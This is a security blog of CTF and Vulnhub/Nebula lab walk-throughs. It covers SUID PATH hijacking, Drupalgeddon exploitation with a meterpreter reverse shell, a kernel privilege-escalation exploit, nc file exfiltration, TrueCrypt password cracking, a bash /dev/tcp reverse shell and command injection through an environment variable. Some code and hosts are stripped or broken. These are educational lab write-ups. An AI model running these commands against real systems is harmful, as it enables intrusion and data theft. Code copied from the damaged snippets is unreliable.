INS’HACK – lsEasy – PWN 75

I gave a try to one of the CTF events happening over the weekend – INS’HACK. This is a walk-through for one of the challenges. The challenge was pretty straight forward as I was aware of the technique to be used here, but there was small issue to sort out.

My shower won't give me warm water :/ maybe it's an hacker? :o Could you help me?
ssh <you_ssh_user>

I logged in with the credentials provided and found the below files in the directory.

user380@InSHackNoASLR:~$ ls -l
total 16
-r--r----- 1 root level1ok 23 Mar 21 20:20 flag
-rwxr-sr-x 1 root level1ok 7337 Mar 23 20:22 vuln
-r--r--r-- 1 root root 108 Mar 23 20:20 vuln.c
user380@InSHackNoASLR:~$cat vuln.c 
#include <stdio.h>
void main()
 printf("The content of the current folder is : \n");
 system("ls -l");
user380@InSHackNoASLR:~$ ./vuln 
The content of the current folder is : 
total 16
-r--r----- 1 root level1ok 23 Mar 21 20:20 flag
-rwxr-sr-x 1 root level1ok 7337 Mar 23 20:22 vuln
-r--r--r-- 1 root root 108 Mar 23 20:20 vuln.c

We see SUID bit set on the vuln binary file and the corresponding C program. Since vuln binary and the flag was readable by the same group, we would be using the binary to read the file flag to which we do not have read permissions as current user.
Although the challenge files were provided as a zip file they were not of interest as the fun was on the server.
From the C program it was clear that the system() function call was used to display the contents of the current directory using ls -l. Since the path to the ls is not hard coded we could create a binary file with the name “ls -l” and use the environment variable PATH to point to it.

I assumed that the I would have the write permission in my current directory but it  was not to be so :/

user380@InSHackNoASLR:~$ touch "ls -l"
touch: cannot touch ‘ls -l’: Permission denied

But hey, we have the tmp directory, who cares about CWD 😉 But again it felt it was not to be so. Damn!

user380@InSHackNoASLR:~$ touch /tmp/a
touch: setting times of ‘/tmp/a’: Permission denied
user380@InSHackNoASLR:~$ ls -l /tmp/
ls: cannot open directory /tmp/: Permission denied

I quickly checked the permissions for tmp directory.

user380@InSHackNoASLR:~$ ls -l /
total 92
drwxr-xr-x   2 root root  4096 Mar 24 15:49 bin
dr-xr-xr-x 13 root root 0 Apr 6 22:57 sys
drwx-wx-wt 292 root root 12288 Apr 9 13:08 tmp
drwxr-xr-x 10 root root 4096 Dec 27 04:25 usr
drwxr-xr-x 12 root root 4096 Dec 27 04:33 var
lrwxrwxrwx 1 root root 29 Apr 6 22:29 vmlinuz -> boot/vmlinuz-4.4.0-72-generic
lrwxrwxrwx 1 root root 29 Dec 27 04:27 vmlinuz.old -> boot/vmlinuz-4.4.0-31-generic

We did not have the read permission on the directory and a sticky bit was set on it and hence the above errors. But we do have write permissions which is all we need :). I did confirm that with a bit of googling. But why did the touch fail? It had to… the file was already present. That is what the sticky bit is meant to prevent – editing, deleting of files created by other users. Although it turns out “a” was directory. Below is the hint.

user380@InSHackNoASLR:/tmp$ echo "a" > a
-bash: a: Is a directory

I also assumed that some one must have already created the “ls -l” file as well than and I was correct about it.

user380@InSHackNoASLR:/tmp$ echo "aa" > "ls -l"
-bash: ls -l: Permission denied
user380@InSHackNoASLR:/tmp$ cat "ls -l"
cat /challenge/level1/flag

I quickly moved on to edit the ENV variable to point to tmp first. I executed the binary and to my surprise it launched the nano editor for me instead of reading the flag.

user380@InSHackNoASLR:/tmp$ export PATH=/tmp:$PATH
user380@InSHackNoASLR:/tmp$ echo $PATH
user380@InSHackNoASLR:~$ ./vuln 
The content of the current folder is :

I tried a couple of times again but with same results. Then I looked if /bin/cat was symlinked to nano, but it wasn’t. Than I realized that its possible that someone must have created the cat binary as well in the tmp directory and forgot to delete it? or left it as it is purposely? or challenge creators did it deliberately as another hurdle. The situation was as below.

user380@InSHackNoASLR:~$ cat /tmp/cat
cat flag

Either ways we were not able to use the tmp directory. So which one is left? Off course /var/tmp. I quickly created the ls -l binary and prepended the /var/tmp  to the PATH variable. Executed the binary and now I had the flag 🙂

user380@InSHackNoASLR:/var/tmp$ echo "cat /challenge/level1/flag" > "ls -l"
user380@InSHackNoASLR:/var/tmp$ cat "ls -l"
cat /challenge/level1/flag
user380@InSHackNoASLR:/var/tmp$ export PATH=/var/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
user380@InSHackNoASLR:/var/tmp$ cd 
user380@InSHackNoASLR:~$ ./vuln 
The content of the current folder is : 
The content of the current folder is : 

Code Snippets – Hex to ASCII

Hello again!
It was some time since my last post, so I decided to write a post about a simple script which I had written recently while trying to decode an attack which was thrown at me 😀

Below script searches and converts each occurrence of the hex into its ASCII equivalent. e.g. \x0a will be converted to \n and \x7A will be converted to z. File contents need not be hex characters only, it can be anything random with some hex characters in it.
It can easily be edited to check and replace hex characters in format 0x7A, but i will leave that for you to do. 🙂

Script is written in python and uses inbuilt modules, re and binascii for regex and hex conversions respectively. Input to the script is filename via command line argument. The script can be made much more simple to understand by dividing the regex match and conversion into different functions but i chose to write it as short as possible. That helped me learn a couple of things on the way. For sure there will be better, shorter, smarter implementations of this out on the internet, but that should not stop you from writing your own. 😉

Below is the script. Hopefully, you will find it helpful 🙂

import sys, binascii, re

def decode(filename):
 with open(filename, 'r') as file_content: #open file
 content = #read file content
 #regex for matching hex numbers eg \x0A
 pattern = re.compile(r'\\x[0-9A-Fa-f][0-9A-Fa-f]')

# Substitute each occurance of hex numbers with ASCII equivalent
 string = re.sub(r'\\x[0-9A-Fa-f][0-9A-Fa-f]', lambda L: binascii.unhexlify(('x')[1])), content)

 print string # print the output

decode(sys.argv[1]) # commandline argument of file


Bringing Droopy To Life

Hi there!!!
It was time to deal with Droopy VM hosted on Vulnhub. It was interesting in many ways and made me learn some important things. Here are the things I tried to get root on the VM. My attacker kali box was set to

Once the VM is up and run the nmap scan on the subnet in which you have put the VM to identify its IP address.

root@kali:~# nmap -n -Pn -v

Starting Nmap 7.30 ( ) at 2016-10-22 12:16 EDT
Initiating ARP Ping Scan at 12:16
Scanning 255 hosts [1 port/host]
Completed ARP Ping Scan at 12:16, 1.97s elapsed (255 total hosts)
Initiating SYN Stealth Scan at 12:16
Scanning 3 hosts [1000 ports/host]
Discovered open port 80/tcp on
Completed SYN Stealth Scan against in 0.19s (2 hosts left)
Completed SYN Stealth Scan against in 7.04s (1 host left)
Completed SYN Stealth Scan at 12:16, 7.14s elapsed (3000 total ports)
Nmap scan report for
Host is up, received arp-response (0.00047s latency).
Not shown: 999 closed ports
Reason: 999 resets
80/tcp open  http    syn-ack ttl 64
MAC Address: 08:00:27:07:EC:AC (Oracle VirtualBox virtual NIC)

Initiating SYN Stealth Scan at 12:16
Scanning [1000 ports]
Completed SYN Stealth Scan at 12:16, 0.06s elapsed (1000 total ports)
Read data files from: /usr/bin/../share/nmap
Nmap done: 256 IP addresses (3 hosts up) scanned in 9.51 seconds
           Raw packets sent: 6509 (278.268KB) | Rcvd: 3019 (124.776KB)

So, we now have our target’s IP Address and we see port 80 open on the target. Browsing through the site on port 80 reveals, what looks like a Drupal site.


Reading through the view-source of the page reveals a modules directory.

head profile="">
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="shortcut icon" href="" type="image/" />
<meta name="Generator" content="Drupal 7 (" />
  <title>Welcome to La fraude fiscale des grandes sociétés | La fraude fiscale des grandes sociétés</title>
  <style type="text/css" media="all">@import url("");
@import url("");
@import url("");
@import url("");</style
<style type="text/css" media="all">@import url("");

Browsing through the modules directory and than to blog directory shows some interesting files.


The file has contents shown below which reveals the Drupal version and update date.

name = Blog
description = Enables multi-user blogs.
package = Core
version = VERSION
core = 7.x
files[] = blog.test

; Information added by packaging script on 2014-07-24
version = "7.30"
project = "drupal"
datestamp = "1406239730"

With this information we now search to see if we can find some exploits related to this version of Drupal. The  search shows 4 SQLi vulnerabilities.

root@kali:~# searchsploit drupal 7.3
------------------------------------------------------------------------------------------------------------------ ----------------------------------
 Exploit Title                                                                                                    |  Path
                                                                                                                | (/usr/share/exploitdb/platforms)
------------------------------------------------------------------------------------------------------------------ ----------------------------------
Drupal 7.0 <= 7.31 - SQL Injection (SA-CORE-2014-005) (1)                                                         | ./php/webapps/
Drupal 7.0 <= 7.31 - SQL Injection (SA-CORE-2014-005) (2)                                                         | ./php/webapps/34992.txt
Drupal 7.32 - SQL Injection (PHP)                                                                                 | ./php/webapps/34993.php
Drupal < 7.32 - Unauthenticated SQL Injection                                                                     | ./php/webapps/35150.php
Drupal < 7.34 - Denial of Service                                                                                 | ./php/dos/35415.txt
------------------------------------------------------------------------------------------------------------------ ----------------------------------

I went on to start metasploit and search Drupal exploit. It reveals drupageddon exploit which perfectly match our needs.

msf > search drupal
[!] Module database cache not built yet, using slow search

Matching Modules
   Name                                           Disclosure Date  Rank       Description
   ----                                           ---------------  ----       -----------   auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Drupal OpenID External Entity Injection
   auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Drupal Views Module Users Enumeration
   exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  Drupal HTTP Parameter Key/Value SQL Injection
   exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Drupal CODER Module Remote Command Execution
   exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Drupal RESTWS Module Remote PHP Code Execution
   exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  PHP XML-RPC Arbitrary Code Execution

msf >

Let’s load the exploit and fire it on our target. We see that we have a meterpreter shell on port 443 as my payload was meterpreter/reverse_https.

msf > use exploit/multi/http/drupal_drupageddon
msf exploit(drupal_drupageddon) > set rhost
rhost =>
msf exploit(drupal_drupageddon) > exploit

[*] [2016.10.23-01:49:27] Started reverse TCP handler on
[*] [2016.10.23-01:49:27] Testing page
[*] [2016.10.23-01:49:27] form_build_id: form-ssrGRu8SjQkDej4iMqKw1BWsjj80H-mRseruHJtmCAo
[*] [2016.10.23-01:49:27] form_token:
[*] [2016.10.23-01:49:27] password hash: $P\$8mXsPjjln6.vJI2.WUt/WaM5H7N0HC.
[*] [2016.10.23-01:49:27] Creating new user ZSXdhIILHk:JWVLiTuClN
[*] [2016.10.23-01:49:27] Logging in as ZSXdhIILHk:JWVLiTuClN
[*] [2016.10.23-01:49:27] cookie: SESS3eb28b0d019dcab2f9875b3202ac4a41=5ScHJZVRyRsyUICX-0wJvYLeV12HUwUD3YZ0Y59Cyj4;
[*] [2016.10.23-01:49:27] Trying to parse enabled modules
[*] [2016.10.23-01:49:28] form_build_id: form-eXbf0AjAoBl3w2xFBKqVBCt9G0nBPEHQw7DHYieB40U
[*] [2016.10.23-01:49:28] form_token: lmmJjwxJH5Yp6tsBVpQsTJ_NUYWyY8IlVxX1UAtfcrQ
[*] [2016.10.23-01:49:28] Enabling the PHP filter module
[*] [2016.10.23-01:49:30] Setting permissions for PHP filter module
[*] [2016.10.23-01:49:31] form_build_id: form-PDYNDiAC2NeE_Zg1uMNNM65C3E3wzlqsjSPFs0Yv3oA
[*] [2016.10.23-01:49:31] form_token: zV_dO-5bMCK-iakZRyIq6fVvO4sJnkZwFkcKefTJ0VU
[*] [2016.10.23-01:49:31] admin role id: 3
[*] [2016.10.23-01:49:31] Getting tokens from create new article page
[*] [2016.10.23-01:49:31] form_build_id: form-mDiJpvdoortY-e1GqzeFNvmpwJu9Co5MAs7AaKlJYy8
[*] [2016.10.23-01:49:31] form_token: QU7edfdjd6FOJo-CrYhw-skiIELvkMflDgS0r9RznDE
[*] [2016.10.23-01:49:31] Calling preview page. Exploit should trigger...
[*] [2016.10.23-01:49:31] Encoded stage with php/base64
[*] [2016.10.23-01:49:31] Sending encoded stage (45098 bytes) to
[*] Meterpreter session 1 opened ( -> at 2016-10-23 01:49:33 -0400
[-] The 'stdapi' extension has already been loaded.

meterpreter >

We now execute the shell command to get remote shell and make it interactive using python one liner.

meterpreter > shell
Process 1176 created.
Channel 0 created.
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@droopy:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Now it was time for some enumeration to escalate our privileges to root. Searching some usual locations for some clues, we find that we can read a mail for www-data user.

www-data@droopy:/var/www/html$ cat /var/mail/www-data
cat /var/mail/www-data
From Dave <> Wed Thu 14 Apr 04:34:39 2016
Date: 14 Apr 2016 04:34:39 +0100
From: Dave <>
Subject: rockyou with a nice hat!
Message-ID: <>
X-IMAP: 0080081351 0000002016
Status: NN


   I've updated the encrypted file... You didn't leave any
hints for me. The password isn't longer than 11 characters
and anyway, we know what academy we went to, don't you...?

I'm sure you'll figure it out it won't rockyou too much!

If you are still struggling, remember that song by The Jam


Interesting!! It reveals existence of an encrypted file which we will need to decrypt and proceed further. Having this info, I set myself to search this file but did not find anything interesting after some frustrating hours of search. I tried to search for string that may have following words to tried and locate the file – Dave, George, password etc. I also searched for recently update files and files edited on 14 Apr 2016 as the mail was sent on the same date.

I finally gave up on this course and started some more enumeration using a python script. I usually use this script to automate some of the enumeration process and save time.
After downloading the script on my system and than on to the target, I ran the python script.

www-data@droopy:/var/www/html$ cd /tmp/
cd /tmp/
www-data@droopy:/tmp$ wget
--2016-10-23 12:38:39--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 25304 (25K) [text/plain]
Saving to: ''

100%[======================================>] 25,304      --.-K/s   in 0.03s  

2016-10-23 12:38:39 (721 KB/s) - '' saved [25304/25304]

www-data@droopy:/tmp$ python > lpe.txt
python > lpe.txt

It did not reveal anything interesting other than an older kernel version which you can get using the below command.

www-data@droopy:/tmp$ uname -a
uname -a
Linux droopy 3.13.0-43-generic #72-Ubuntu SMP Mon Dec 8 19:35:06 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

I started googling for some exploit for this kernel and download the 64 bit exploit from this location. I compiled the exploit on my kali VM and downloaded it to the target machine and ran the exploit only to see it fail :(.

www-data@droopy:/tmp$ wget
--2016-10-23 12:47:07--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 12036 (12K) [application/octet-stream]
Saving to: 'ofc_64'

100%[======================================>] 12,036      --.-K/s   in 0s     

2016-10-23 12:47:07 (48.9 MB/s) - 'ofc_64' saved [12036/12036]

www-data@droopy:/tmp$ chmod +x ofc_64
chmod +x ofc_64
www-data@droopy:/tmp$ ls -l
ls -l
total 116
-rw-r--r-- 1 www-data www-data 25304 Oct 16 11:20
-rw-r--r-- 1 www-data www-data 75868 Oct 23 12:39 lpe.txt
-rwxr-xr-x 1 www-data www-data 12036 Oct 16 10:33 ofc_64
www-data@droopy:/tmp$ ./ofc_64
bash: ./ofc_64: No such file or directory

At this time I had no idea what I should be doing next. After some breaks and some thinking on this I realized the mistake that I had made. I had compiled and the program on kali VM instead of the target which may have been the reason for its failure. So, I went back to download the source on target and compile it there and run and finally I had the root shell :).

www-data@droopy:/tmp$ wget
--2016-10-23 12:51:43--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 5123 (5.0K) [text/plain]
Saving to: 'ofc_64.c'

100%[======================================>] 5,123       --.-K/s   in 0.07s  

2016-10-23 12:51:43 (74.8 KB/s) - 'ofc_64.c' saved [5123/5123]

www-data@droopy:/tmp$ gcc ofc_64.c -o ofc_64
gcc ofc_64.c -o ofc_64
www-data@droopy:/tmp$ ls -l
ls -l
total 128
-rw-r--r-- 1 www-data www-data 25304 Oct 16 11:20
-rw-r--r-- 1 www-data www-data 75868 Oct 23 12:39 lpe.txt
-rwxr-xr-x 1 www-data www-data 13685 Oct 23 12:52 ofc_64
-rw-r--r-- 1 www-data www-data  5123 Oct 16 10:33 ofc_64.c
www-data@droopy:/tmp$ ./ofc_64
spawning threads
mount #1
mount #2
child threads done
/etc/ created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

Now it was time to get the flag as usual, but no there is no flag in the root directory. Instead we have a file which appears to be the one mentioned in the mail.

# ls -l /root/
ls -l /root/
total 5124
-rw-r--r-- 1 root root 5242880 Apr 12  2016

I copied the file over to my kali VM using nc.

# /bin/nc 4444 < /root/
/bin/nc 4444 < /root/

root@kali:~/research/droopy# nc -lvp 4444 >
listening on [any] 4444 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 58414
root@kali:~/research/droopy# ls -l
total 5264
-rw-r--r-- 1 root root 5242880 Oct 23 02:30
-rw-r--r-- 1 root root     656 Oct 16 13:46 mail

It was time to crack the trucrypt encrypted file. The password probably has word ‘academy’ in it so let’s grab rockyou.txt with word academy and prepare us a wordlist and use it to crack the file.

root@kali:~/research/droopy# grep -i 'academy' /usr/share/wordlists/rockyou.txt > academy.txt

Initially I thought truecrack would automatically detect the Key Derivation Function. So, I let it run with default ripemd160, but it came back empty. I used below command.

truecrack -t -w academy.txt

Next I try to mutate the academy pass list with john by specifying all the rules, but that did not help as well. Below was the command that I had used to mutate the pass list

john --wordlist=academy.txt --rules –stdout >> acad.mutated

Having failed with this as well, I turned to changing the Key Derivation Function to sha512 which worked.

root@kali:~/droopy# truecrack -k sha512 -t -w academy.txt
TrueCrack v3.0
Contact us:
Found password:                       "etonacademy"
Password length:            "12"
Total computations:       "120"

Having found the password, it was time to open the file. It was done with below command.

root@kali:~/research/droopy# cryptsetup --type tcrypt open dave
Enter passphrase:

This will than show up as a drive in the explorer. After you access the drive it will appear in the /media folder as shown below.

root@kali:~/research/droopy# ls -laR /media/root/bae6055a-68b7-42ad-8a0d-4b25c6295c20/
total 20
drwxr-xr-x  6 root root  1024 Apr 12  2016 .
drwxr-x---+ 3 root root  4096 Oct 25 09:04 ..
drwxr-xr-x  2 root root  1024 Apr 12  2016 buller
drwx------  2 root root 12288 Apr 12  2016 lost+found
drwxr-xr-x  2 root root  1024 Apr 12  2016 panama
drwxr-xr-x  3 root root  1024 Apr 12  2016 .secret

total 11
drwxr-xr-x 2 root root 1024 Apr 12  2016 .
drwxr-xr-x 6 root root 1024 Apr 12  2016 ..
-rw-r--r-- 1 root root 8393 Oct  4  2013 BullingdonCrest.jpg

total 13
drwx------ 2 root root 12288 Apr 12  2016 .
drwxr-xr-x 6 root root  1024 Apr 12  2016 ..

total 52
drwxr-xr-x 2 root root  1024 Apr 12  2016 .
drwxr-xr-x 6 root root  1024 Apr 12  2016 ..
-rw-r--r-- 1 root root 49257 Jun 15  2014 shares.jpg

total 64
drwxr-xr-x 3 root root  1024 Apr 12  2016 .
drwxr-xr-x 6 root root  1024 Apr 12  2016 ..
-rw-r--r-- 1 root root 61118 Feb 25  2016 piers.png
drwxr-xr-x 2 root root  1024 Apr 12  2016 .top

total 3
drwxr-xr-x 2 root root 1024 Apr 12  2016 .
drwxr-xr-x 3 root root 1024 Apr 12  2016 ..
-r-------- 1 root root  872 Apr 12  2016 flag.txt

It has some cool images which you should check out and the flag 🙂

root@kali:~/research/droopy# cat /media/root/bae6055a-68b7-42ad-8a0d-4b25c6295c20/.secret/.top/flag.txt

#   ___ ___  _  _  ___ ___    _ _____ _   _ _      _ _____ ___ ___  _  _  ___  #
#  / __/ _ \| \| |/ __| _ \  /_\_   _| | | | |    /_\_   _|_ _/ _ \| \| |/ __| #
# | (_| (_) | .` | (_ |   / / _ \| | | |_| | |__ / _ \| |  | | (_) | .` |\__ \ #
#  \___\___/|_|\_|\___|_|_\/_/ \_\_|  \___/|____/_/ \_\_| |___\___/|_|\_||___/ #
#                                                                              #

Firstly, thanks for trying this VM. If you have rooted it, well done!

Shout-outs go to #vulnhub for hosting a great learning tool. A special thanks
goes to barrebas and junken for help in testing and final configuration.


  • Persistence, never give up.
  • Pay attention to even the smallest details, if something fails try its variants before moving on.

Finally thanks knightmare and Vulnhub for this VM!!

Bursting the nebula | level00-level04

This post is a walk-through for a VM from exploit-exercises called nebula. It includes some interesting privilege escalation challenges. This is the first post in the series of 4 posts that I am planning to write and involves walk-through for level00 to level04.

So let’s begin by booting up the VM. VM will be assigned an IP address dynamically. Mine was I used attacking machine as kali VM box with IP You can directly login into the nebula VM. I used SSH to login to nebula and save me a bit of time and also mimicking it to a remote machine.

This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.
Alternatively, look at the find man page.
To access this level, log in as level00 with the password of level00.

So this looks very simple. I used below find command from “/” directory to search for SUID (-4000) file owned by user flag00 and redirected the errors to /dev/null with descriptor 2, so that i can have a clean output.

level00@nebula:/$ find . -perm -4000 -user flag00 2>/dev/null

Once the file was found, I executed it and the ran the getflag command as instructed to get the flag.

level00@nebula:/$ ./bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:/$ getflag
You have successfully executed getflag on a target account

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level01 account with the password level01. Files for this level can be found in /home/flag01.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
	gid_t gid;
	uid_t uid;
	gid = getegid();
	uid = geteuid();

	setresgid(gid, gid, gid);
	setresuid(uid, uid, uid);

	system("/usr/bin/env echo and now what?");

Let’s have a look at the home folder of flag01. We have a SUID program which when run gives us the below output.

level01@nebula:~$ ls -l /home/flag01/
total 8
-rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01
level01@nebula:/tmp$ /home/flag01/flag01
and now what?

From the source code we know that the path to echo is not hardcoded. The program will look for echo binary in the PATH environment variable and if it finds it, it will execute it. So we now create a binary from the below quick and dirty code to spawn us a shell and name it echo. The spawned shell will have a UID/GID of the user who executes it.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();
  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

We create the binary from above code using gcc. Now download the binary into /tmp folder in nebula and make it executable using chmod.

root@kali:~# gcc shell.c -o echo
level01@nebula:/tmp$ wget
--2016-10-04 02:52:19--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 5364 (5.2K) [application/octet-stream]
Saving to: `echo'
100%[======================================>] 5,364       --.-K/s   in 0s     
2016-10-04 02:52:19 (140 MB/s) - `echo' saved [5364/5364]

level01@nebula:/tmp$ ls -l
total 8
-rw-rw-r-- 1 level01 level01 5364 2016-10-04 02:50 echo
level01@nebula:/tmp$ chmod +x echo
level01@nebula:/tmp$ ls -l
total 8
-rwxrwxr-x 1 level01 level01 5364 2016-10-04 02:50 echo

Now the last thing that is left to do is to change the environment variable PATH to include /tmp folder in the beginning so that it finds our echo binary.

level01@nebula:/tmp$ echo $PATH
level01@nebula:/tmp$ export PATH=/tmp:$PATH
level01@nebula:/tmp$ echo $PATH

Now let’s execute the flag01 binary again and we now have the shell with user flag01 as shown below and we can now easily get the flag.

level01@nebula:/tmp$ /home/flag01/flag01
flag01@nebula:/tmp$ id;getflag
uid=998(flag01) gid=1002(level01) groups=998(flag01),1002(level01)
You have successfully executed getflag on a target account

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level02 account with the password level02. Files for this level can be found in /home/flag02.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
  char *buffer;
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();
  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);
  buffer = NULL;
  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);

Executing the flag02 binary gives us the below output.

level02@nebula:~$ /home/flag02/flag02
about to call system("/bin/echo level02 is cool")
level02 is cool

As we can see from the source code this similar to the last one but this time the input to the program comes directly from the environment variable USER, it then gets stored in the buffer variable which is then passed to the system function to execute without any saanitization.
As you may have noticed this is classic command injection vulnerability. So we need to edit the USER variable to include our command to get the flag. ‘;’ will terminate the echo command from the program and allow us to execute the id and getflag command.

level02@nebula:~$ echo $USER
level02@nebula:~$ export USER=';id;getflag'
level02@nebula:~$ echo $USER

Now that the we have set the environment variable let’s execute the flag02 binary, and we have our flag.

level02@nebula:~$ /home/flag02/flag02
about to call system("/bin/echo ;id;getflag is cool")

uid=997(flag02) gid=1003(level02) groups=997(flag02),1003(level02)
You have successfully executed getflag on a target account

Check the home directory of flag03 and take note of the files there.
There is a crontab that is called every couple of minutes.
To do this level, log in as the level03 account with the password level03. Files for this level can be found in /home/flag03.

Let’s have a look at the home directory. We have a bash script and a world writeable folder, both owned by flag03 user. Based on the challenge it’s a good assumption that this bash script will be executed every couple of minutes.

level03@nebula:~$ ls -l /home/flag03/
total 1
drwxrwxrwx 2 flag03 flag03  3 2012-08-18 05:24 writable.d
-rwxr-xr-x 1 flag03 flag03 98 2011-11-20 21:22

Let’s have look at the bash script. We can see that the bash script will execute all the scripts from the writable.d folder.

level03@nebula:~$ cat /home/flag03/
for i in /home/flag03/writable.d/* ; do
                (ulimit -t 5; bash -x "$i")
                rm -f "$i"

Since we have the liberty to write our own script which will get executed, simplest thing to do will be to get a reverse shell to connect back to our kali box as shown below.

level03@nebula:/tmp$ cat
/bin/bash -i >& /dev/tcp/ 0>&1

Let’s copy the bash shell to the writable.d directory and wait for it’s execution. Meanwhile we will set up a netcat listener for the reverse shell on our kali box.

level03@nebula:/tmp$ cp /home/flag03/writable.d/
level03@nebula:/tmp$ ls -l /home/flag03/writable.d/
-rw-rw-r-- 1 level03 level03 50 2016-10-04 05:07

As we can see we have a reverse shell in couple of minutes, and now we can execute the getflag command.

root@kali:~# nc -lvp1234
listening on [any] 1234 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 40362
bash: no job control in this shell
flag03@nebula:~$ id
uid=996(flag03) gid=996(flag03) groups=996(flag03)
flag03@nebula:~$ getflag
You have successfully executed getflag on a target account

This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it 🙂
To do this level, log in as the level04 account with the password level04. Files for this level can be found in /home/flag04.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
  char buf[1024];
  int fd, rc;
  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
 rc = read(fd, buf, sizeof(buf));
  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  write(1, buf, rc);

This time we need to read a token file, interesting! So the program looks for occurrence of word token in the argument argv[1], and if it exist than we can’t read the file. This initially looked like a race condition vulnerability but it’s even simpler. Let’s see what files we have in the home directory of user flag04.

level04@nebula:~$ ls -l /home/flag04/
total 8
-rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04
-rw------- 1 flag04 flag04 37 2011-11-20 21:52 token
level04@nebula:/home/flag04$ ./flag04 token
You may not access 'token'

We can create a symlink to the token file as shown below and name it read, which we will than supply as the argument for the program.

level04@nebula:/home/flag04$ ln -s /home/flag04/token /tmp/read
level04@nebula:/home/flag04$ ls -l /tmp/
total 4
-rw-rw-r-- 1 level04 level04  3 2016-10-08 04:46 abcd
lrwxrwxrwx 1 level04 level04 18 2016-10-08 05:24 read -> /home/flag04/token

Now let’s execute the flag04 binary giving it the argument of our symlink which then will resolve to token file read the token file for us.

level04@nebula:/home/flag04$ ./flag04 /tmp/read